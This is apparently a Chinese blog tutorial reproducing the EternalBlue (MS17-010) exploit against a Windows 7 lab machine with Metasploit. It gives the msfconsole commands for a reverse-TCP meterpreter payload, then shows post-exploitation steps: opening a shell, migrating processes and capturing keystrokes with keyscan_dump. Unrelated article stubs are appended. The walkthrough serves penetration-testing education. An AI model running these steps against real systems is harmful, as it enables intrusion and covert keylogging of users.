Metasploit使用-复现永恒之蓝漏洞

embedded/2024/12/27 8:51:35/

Metasploit使用-复现永恒之蓝漏洞

MSF是渗透测试领域最流行的渗透测试框架,其中msf为总模块,其他均为分支模块。分支模块如下:

辅 助 模 块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞;

渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块;

攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块;

后渗透攻击模块 (Post),用于内网渗透的各种操作;

编 码 器 模 块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式);

所有模块位置:/usr/share/metasploit-framework/modules/

渗透步骤(Exploit)

search xxx		#搜索某个漏洞
use xxx			#使用某个漏洞利用模块
show options	#查看配置选项
set payload		#配置攻击载荷
exploit			#执行渗透攻击

复现MSF017-010(永恒之蓝):

准备两台机器,一台kali,一台win7,win7需要关闭防火墙

进入kali,切换root用户,查看ip

image-20241226093411363

win7:

image-20241226093457863

确保两个网络在同一个网段,ping一下看看能不能ping通

能ping通,接下来启动msf

msfconsole         # 启动
search  ms17-010   # 查看漏洞
use 数字          	
info               #使用info查看模块信息: 	
set payload windows/x64/meterpreter/reverse_tcp  #设置poc连接方式:		
show options       #查看模块需要配置的参数:	
set  RHOST  192.168.125.138 #设置参数:
exploit / run      #攻击
back               #回退

image-20241226093954146

选第一个即可

use 0或者use exp…

set payload windows/x64/meterpreter/reverse_tcp  #设置poc连接方式

不过可以不设置,因为默认就是

查看参数,showoptions,required为yes为必选项,rhosts是被攻击的靶机(win7),lhost是本机,注意rhosts上的端口要开放

image-20241226094113587

下面这样就代表成功了

image-20241226094336159

比如我们想获得win7键盘输入,

在meterpreter输入,key两次tab可以补全

image-20241226094444991

但注意,这里是system用户,而win7是soul用户,需要降权

这里先演示执行命令,等下降权,为了方便:


#进入dos命令行
shell
#切换编码,解决乱码问题
chcp 65001
ipconfig

image-20241226094700939

exit退出

ps查看进程:

image-20241226095257708

看到cmd.exe

image-20241226095359195

切换成功,win7随便输入,keyscan_dump

image-20241226095533820

成功,到此结束多次exit退出即可

35178348957)]

切换成功,win7随便输入,keyscan_dump

[外链图片转存中…(img-glSqEfaM-1735178348957)]

成功,到此结束多次exit退出即可


http://www.ppmy.cn/embedded/149133.html

相关文章

Python Polars快速入门指南:LazyFrames

前文已经介绍了Polars的Dataframe, Contexts 和 Expressions,本文继续介绍Polars的惰性API。惰性API是该库最强大的功能之一,使用惰性API可以设定一系列操作,而无需立即运行它们。相反,这些操作被保存为计算图,只在必要…

连通分量分解【东北大学oj数据结构11-4】C++

编写一个程序,读取 SNS(社交网络服务)中的关系,并判断给定的用户对通过网络是否彼此可达。 输入 在第一行,给出了两个整数 n 和 m。 n 是 SNS 中的用户数,m 是 SNS 中的关系数。 SNS 中的用户由编号由 0 ~…

使用TimesFM 对车辆销售进行预测

代码功能概述 导入相关包与设置环境变量: 首先导入了如 os、numpy、pandas 等常用的 Python 库,同时设置了一些与特定库(如 XLA_PYTHON_CLIENT_PREALLOCATE 和 JAX_PM AP_USE_TENSORSTORE)相关的环境变量,用于优化计算…

手机发烫怎么解决?

在当今这个智能手机不离手的时代,手机发烫成了不少人头疼的问题。手机发烫不仅影响使用手感,长期过热还可能损害手机硬件、缩短电池寿命,甚至引发安全隐患。不过别担心,下面这些方法能帮你有效给手机 “降温”。 一、使用习惯方面…

Python自动化测试数据驱动解决数据错误

数据驱动将测试数据和测试行为完全分离,实施数据驱动测试步骤如下: A、编写测试脚本,脚本需要支持从程序对象、文件或者数据库读入测试数据; B、将测试脚本使用的测试数据存入程序对象、文件或者数据库等外部介质中;…

减速机润滑油的选用原则

减速机在投入运行前必须加入适当粘度的润滑油,须使齿轮间摩擦减小,遇高负荷及冲击负荷时,减速机才能充分发挥其机能。那么,应该如何选择减速机的润滑油呢? 1、粘度选择:粘度是齿轮油的一个重要理化指标&…

图书管理系统技术文档

图书管理系统技术文档 一、项目概述 随着图书馆规模的不断扩大以及读者借阅需求的日益增长,传统的人工管理图书方式效率低下,易出错。为提高图书管理效率,优化读者借阅体验,特开发此图书管理系统。本系统旨在实现图书信息的高效…

AWS、Google Cloud Platform (GCP)、Microsoft Azure、Linode和 桔子数据 的 价格对比

要对比 AWS、Google Cloud Platform (GCP)、Microsoft Azure、Linode 和 桔子数据 的 价格,我们需要先了解每个平台的定价模型、服务类型以及不同服务之间的价格差异。以下是根据各个平台常见服务(如计算实例、存储、数据传输等)做的一个 简化…